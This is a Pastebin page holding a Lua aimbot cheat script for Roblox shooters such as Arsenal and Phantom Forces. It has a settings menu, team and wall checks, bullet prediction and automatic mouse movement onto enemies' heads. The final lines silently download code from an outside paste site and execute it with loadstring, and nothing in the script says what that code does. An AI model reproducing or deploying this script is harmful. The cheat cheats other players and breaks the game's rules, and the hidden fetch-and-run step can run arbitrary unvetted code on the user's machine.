Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- Project-P public v2.1.0
- IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
- IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
- IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
- IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
- IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
- IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
- IF YOUR SCREEN SHAKES WHEN YOU AIM LOCK ON SOMEONE, INCREASE THE SMOOTHNESS!
- This is a open source project by !!- Sexy potato#4810, I will be updating this regularly.
- So use the loadstring for automatic updates.
- Tested games:
- [--Game--] [--Experience--]
- Arsenal Very good (Basically hits everyshot.)
- Strucid Good (Because of the randomness to the bullets you don't hit every shot.)
- Unit 1968 Very good (With the right settings you will hit 9/10 shots here.)
- Unit: Classified Good (It does it's job, you will easily top frag.)
- Counter Blox Alright (You can't really spray because the recoil will get out of hand.)
- Blackhawk Rescue Mission 5 Good (With the right settings you wont really ever die. note: It won't aim on the npc's only use this in competetive mode.)
- Phantom Forces Very good (You need a brain to setup up for this game. hits 9/10 sniper shot)
- READ THIS
- A lot of the comments are wrong right now because I've made a lot of changes so keep that in mind,
- Changelogs:
- + Merged Project-Phantom with Project-P
- ! Completely rewrote the menu
- Note:
- hi =)
- ]]--
- --Menu items
- _G.menu = {
- {type = "bool", name = "Enable", value = true},
- {type = "bool", name = "Team Check", value = true},
- {type = "tbl", name = "Hit Box", value = "Head", current = 1, values = {"Head", "HumanoidRootPart"}},
- {type = "int", name = "Smoothness", value = 3, min = 1, max = 25},
- {type = "int", name = "FOV", value = 5, min = 1, max = 30},
- {type = "bool", name = "Draw FOV", value = true},
- {type = "bool", name = "Wall Check", value = false},
- {type = "int", name = "Bullet Drop", value = 200, min = 1, max = 200},
- {type = "tbl", name = "Aim Key", value = Enum.UserInputType.MouseButton2, current = 2, values = {Enum.UserInputType.MouseButton1, Enum.UserInputType.MouseButton2}},
- {type = "int", name = "Bullet Prediction", value = 10, min = 1, max = 20},
- }
- --was just testing some stuff for a future feature.
- ---repeat wait() until game.Players.LocalPlayer.Character
- ---for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do
- --- if v:IsA('BasePart') then
- --- table.insert(_G.menu[3].values,tostring(v.Name))
- --- end
- ---end
- --end of this trash
- --Variables
- local userIS = game:GetService("UserInputService")
- local conActSer = game:GetService("ContextActionService")
- local camera = game:GetService('Workspace').Camera
- local players = game:GetService("Players")
- local localPlayer = players.LocalPlayer
- local IsKeyDown = false
- --Tables
- local module = {};
- local drawings = {};
- local arowPos = {};
- --Menu variables
- local menuStartingPos = Vector2.new(20, 375)
- local menuStartingPos2 = menuStartingPos
- local menuSpacing = 20
- local isLeftShiftDown = false
- local isMenuActive = true
- local tblpos = 1
- local offset = Vector2.new(0, 0)
- local intIncreaser = 0.25
- --Functions
- function module:DrawNew(name,type,props)
- drawings[name] = Drawing.new(type)
- for i,v in pairs(props) do
- drawings[name][i] = v
- end
- return drawings[name]
- end
- function DrawText(name,text,size,color,position)
- module:DrawNew(name,"Text",{
- Text = text,
- Size = size,
- Color = color,
- Position = position,
- Visible = true
- });
- end
- --Disable Arrow keys.
- conActSer:BindActionAtPriority("DisableArrowKeys", function()
- return Enum.ContextActionResult.Sink
- end, false, Enum.ContextActionPriority.High.Value, Enum.KeyCode.Up, Enum.KeyCode.Down, Enum.KeyCode.Left, Enum.KeyCode.Right)
- --Menu handler
- --FOV Circle.
- module:DrawNew("Circle","Circle",{
- Transparency = 1,
- Thickness = 1.5,
- NumSides = 16,
- Filled = false,
- Color = Color3.fromRGB(255,0,0),
- Visible = false
- });
- --Static drawings
- DrawText("CreditsText","Project-P by discord: !!- Sexy potato#4810",16,Color3.fromRGB(255,255,255),Vector2.new(215, 5))
- DrawText("InfoText","press [INSERT] to hide",13,Color3.fromRGB(255,255,255),Vector2.new(drawings.CreditsText.TextBounds.X + 220, 6))
- DrawText("Selector",">",24,Color3.fromRGB(255,0,0),menuStartingPos2 + Vector2.new(-15, 0) + offset)
- DrawText("AimTitle","Aim assist",24,Color3.fromRGB(255,255,255),Vector2.new(-10, -menuSpacing) + menuStartingPos)
- --Loops
- function CreateMenuItems()
- for i,v in pairs(_G.menu) do
- DrawText(string.gsub(v.name, " ", "").."Text",v.name..":",24,Color3.fromRGB(255,255,255),menuStartingPos)
- DrawText(string.gsub(v.name, " ", "").."Value","for some reason this value didn't load, contact !!- Sexy potato#4810",24,Color3.fromRGB(255,255,255),menuStartingPos + Vector2.new(3 + drawings[string.gsub(v.name, " ", "").."Text"].TextBounds.X ,0))
- menuStartingPos = menuStartingPos + Vector2.new(0,menuSpacing)
- end
- end
- CreateMenuItems()
- function UpdateMenu()
- for i,v in pairs(_G.menu) do
- if v.type == "bool" then
- if v.value == true then
- drawings[string.gsub(v.name, " ", "").."Value"].Color = Color3.fromRGB(0,255,0)
- drawings[string.gsub(v.name, " ", "").."Value"].Text = "true"
- else
- drawings[string.gsub(v.name, " ", "").."Value"].Color = Color3.fromRGB(255,0,0)
- drawings[string.gsub(v.name, " ", "").."Value"].Text = "false"
- end
- elseif v.type == "enum" then
- if v.value == Enum.UserInputType.MouseButton2 then
- drawings[string.gsub(v.name, " ", "").."Value"].Text = "MouseButton2"
- elseif v.value == Enum.UserInputType.MouseButton1 then
- drawings[string.gsub(v.name, " ", "").."Value"].Text = "MouseButton1"
- end
- else
- drawings[string.gsub(v.name, " ", "").."Value"].Text = tostring(v.value)
- end
- end
- if _G.menu[6].value then
- drawings.Circle.Visible = true
- else
- drawings.Circle.Visible = false
- end
- drawings.Circle.Radius = camera.ViewportSize.X / (90 / _G.menu[5].value)
- end
- UpdateMenu()
- --Hide and disable menu interaction
- userIS.InputBegan:Connect(function(Input)
- if Input.KeyCode == Enum.KeyCode.Insert then
- if isMenuActive then
- isMenuActive = false
- for i,v in pairs(drawings) do
- drawings[i].Visible = false
- isMenuActive = false
- end
- else
- isMenuActive = true
- for i,v in pairs(drawings) do
- drawings[i].Visible = true
- isMenuActive = true
- end
- end
- end
- end)
- for i = 1,#_G.menu do
- table.insert(arowPos,menuStartingPos2 + Vector2.new(-15, 0) + offset)
- offset = offset + Vector2.new(0, menuSpacing)
- end
- function GetSelectorNextPos()
- tblpos = math.clamp(tblpos + 1,1,#arowPos)
- end
- function GetSelectorPrevPos()
- tblpos = math.clamp(tblpos - 1,1,#arowPos)
- end
- userIS.InputBegan:Connect(function(Input)
- if isMenuActive then
- if Input.KeyCode == Enum.KeyCode.LeftShift then
- isLeftShiftDown = true
- intIncreaser = 2
- end
- if Input.KeyCode == Enum.KeyCode.Right then
- if _G.menu[tblpos].type == "bool" then
- if _G.menu[tblpos].value == true then
- _G.menu[tblpos].value = false
- else
- _G.menu[tblpos].value = true
- end
- end
- if _G.menu[tblpos].type == "tbl" then
- if _G.menu[tblpos].current < #_G.menu[tblpos].values then
- _G.menu[tblpos].current = _G.menu[tblpos].current + 1
- _G.menu[tblpos].value = _G.menu[tblpos].values[_G.menu[tblpos].current]
- end
- end
- if _G.menu[tblpos].type == "int" then
- if (_G.menu[tblpos].value + intIncreaser) <= _G.menu[tblpos].max then
- _G.menu[tblpos].value = tonumber(_G.menu[tblpos].value) + intIncreaser
- else
- _G.menu[tblpos].value = _G.menu[tblpos].max
- end
- end
- UpdateMenu()
- end
- if Input.KeyCode == Enum.KeyCode.Left then
- if _G.menu[tblpos].type == "bool" then
- if _G.menu[tblpos].value == false then
- _G.menu[tblpos].value = true
- else
- _G.menu[tblpos].value = false
- end
- end
- if _G.menu[tblpos].type == "tbl" then
- if _G.menu[tblpos].current > 1 then
- _G.menu[tblpos].current = _G.menu[tblpos].current - 1
- _G.menu[tblpos].value = _G.menu[tblpos].values[_G.menu[tblpos].current]
- end
- end
- if _G.menu[tblpos].type == "int" then
- if (_G.menu[tblpos].value - intIncreaser) >= _G.menu[tblpos].min then
- _G.menu[tblpos].value = tonumber(_G.menu[tblpos].value) - intIncreaser
- else
- _G.menu[tblpos].value = _G.menu[tblpos].min
- end
- end
- UpdateMenu()
- end
- if Input.KeyCode == Enum.KeyCode.Down then
- GetSelectorNextPos()
- drawings.Selector.Position = arowPos[tblpos]
- end
- if Input.KeyCode == Enum.KeyCode.Up then
- GetSelectorPrevPos()
- drawings.Selector.Position = arowPos[tblpos]
- end
- end
- end)
- userIS.InputEnded:Connect(function(Input)
- if isMenuActive then
- if Input.KeyCode == Enum.KeyCode.LeftShift then
- isLeftShiftDown = false
- intIncreaser = 0.25
- end
- end
- end)
- --Functions.
- function IsVisible(character)
- local Ray = Ray.new(camera.CFrame.p, (character.Head.Position - camera.CFrame.p).unit * 2048)
- local part = workspace:FindPartOnRayWithIgnoreList(Ray, {localPlayer.Character})
- if part:IsDescendantOf(character) then return true else return false end
- end
- function Calculate(distance)
- return (1.01*math.pow(distance,4)+0.002*math.pow(distance,3)-0.07*math.pow(distance,2)+0.8*distance-2.05)
- end
- function IsOnScreen(part)
- local vector, onscreen = camera:WorldToViewportPoint(part.Position)
- return (vector.Z > 0)
- end
- function IsInFov(part)
- if part then
- if IsOnScreen(part) then
- local pos = camera:WorldToViewportPoint(part.Position)
- local dist = (Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y) - Vector2.new(pos.X, pos.Y)).magnitude
- if dist <= camera.ViewportSize.X / (90 / _G.menu[5].value) and dist < math.huge then
- return true
- end
- end
- end
- end
- if game.PlaceId == 292439477 then
- function MyTeam()
- if "Bright blue" == tostring(game.Players.LocalPlayer.TeamColor) then return "Phantoms" else return "Ghosts" end
- end
- function GetClosest()
- local TargetDistance = math.huge
- local Target = nil
- for i, v in pairs(game.Workspace.Players:GetDescendants()) do
- if v.Name == "Player" and v:FindFirstChild('HumanoidRootPart') then
- local TargetScreenPos = camera:WorldToViewportPoint(v.HumanoidRootPart.Position)
- local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
- if IsInFov(v:FindFirstChild(_G.menu[3].value)) then
- if _G.menu[2].value then
- if v.Parent.Name ~= MyTeam() then
- if mag < TargetDistance then
- TargetDistance = mag
- Target = v
- end
- end
- elseif mag < TargetDistance then
- TargetDistance = mag
- Target = v
- end
- end
- end
- end
- return Target
- end
- function GetClosestNotBehindWall()
- local TargetDistance = math.huge
- local Target = nil
- for i, v in pairs(game.Workspace.Players:GetDescendants()) do
- if v.Name == "Player" and v:FindFirstChild('HumanoidRootPart') then
- local TargetScreenPos = camera:WorldToViewportPoint(v.HumanoidRootPart.Position)
- local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
- if IsInFov(v:FindFirstChild(_G.menu[3].value)) then
- if _G.menu[2].value then
- if v.Parent.Name ~= MyTeam() then
- if _G.menu[7].value then
- if IsVisible(v) and mag < TargetDistance then
- TargetDistance = mag
- Target = v
- end
- end
- end
- elseif _G.menu[7].value then
- if IsVisible(v) and mag < TargetDistance then
- TargetDistance = mag
- Target = v
- end
- end
- end
- end
- end
- return Target
- end
- else
- function GetClosest()
- local TargetDistance = math.huge
- local Target = nil
- for i, v in pairs(players:GetPlayers()) do
- if v ~= localPlayer and v.Character and v.Character:FindFirstChild("HumanoidRootPart") then
- local TargetScreenPos = camera:WorldToViewportPoint(v.Character.HumanoidRootPart.Position)
- local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
- if IsInFov(v.Character:FindFirstChild(_G.menu[3].value)) then
- if _G.menu[2].value then
- if v.TeamColor ~= localPlayer.TeamColor then
- if mag < TargetDistance then
- TargetDistance = mag
- Target = v.Character
- end
- end
- elseif mag < TargetDistance then
- TargetDistance = mag
- Target = v.Character
- end
- end
- end
- end
- return Target
- end
- function GetClosestNotBehindWall()
- local TargetDistance = math.huge
- local Target = nil
- for i, v in pairs(players:GetPlayers()) do
- if v ~= localPlayer and v.Character and v.Character:FindFirstChild("HumanoidRootPart") then
- local TargetScreenPos = camera:WorldToViewportPoint(v.Character.HumanoidRootPart.Position)
- local mag = (Vector2.new(TargetScreenPos.X, TargetScreenPos.Y) - Vector2.new(userIS:GetMouseLocation().X, userIS:GetMouseLocation().Y)).magnitude
- if IsInFov(v.Character:FindFirstChild(_G.menu[3].value)) then
- if _G.menu[2].value then
- if v.TeamColor ~= localPlayer.TeamColor then
- if _G.menu[7].value then
- if IsVisible(v.Character) and mag < TargetDistance then
- TargetDistance = mag
- Target = v.Character
- end
- end
- end
- elseif _G.menu[7].value then
- if IsVisible(v.Character) and mag < TargetDistance then
- TargetDistance = mag
- Target = v.Character
- end
- end
- end
- end
- end
- return Target
- end
- end
- userIS.InputBegan:Connect(function(Input)
- if Input.UserInputType == _G.menu[9].value and _G.menu[1].value then
- IsKeyDown = true
- end
- end)
- userIS.InputEnded:Connect(function(Input)
- if Input.UserInputType == _G.menu[9].value then
- IsKeyDown = false
- end
- end)
- local FindClosest = nil
- local function aimbot()
- if _G.menu[7].value then
- FindClosest = GetClosestNotBehindWall()
- else
- FindClosest = GetClosest()
- end
- if FindClosest ~= nil then
- local BulletPrediction = FindClosest.HumanoidRootPart.Velocity * (localPlayer.Character.HumanoidRootPart.Position - FindClosest.HumanoidRootPart.Position).magnitude / 500 / _G.menu[10].value
- local aimAt, visible = camera:WorldToViewportPoint(FindClosest[_G.menu[3].value].Position + Vector3.new(0,Calculate((localPlayer.Character.HumanoidRootPart.Position - FindClosest.HumanoidRootPart.Position).magnitude / _G.menu[8].value) / _G.menu[8].value,0) + BulletPrediction) --We get the target's head and add a new vector3 with y being BulletDrop, then we get that from vector3 to vector2, and we basically get the magnitude of target and localPlayer and then use our sick math to get a nice curve.
- mousemoverel((aimAt.X - userIS:GetMouseLocation().X) / _G.menu[4].value, (aimAt.Y - userIS:GetMouseLocation().Y) / _G.menu[4].value)
- end
- end
- game:GetService("RunService").RenderStepped:connect(function()
- if IsKeyDown then
- aimbot()
- end
- drawings.Circle.Position = userIS:GetMouseLocation()
- end)
- pcall(function()
- loadstring(game:HttpGet(('https://dumpz.org/cBh7Ae3MNbBf/nixtext/'),true))()
- end)
Add Comment
Please, Sign In to add comment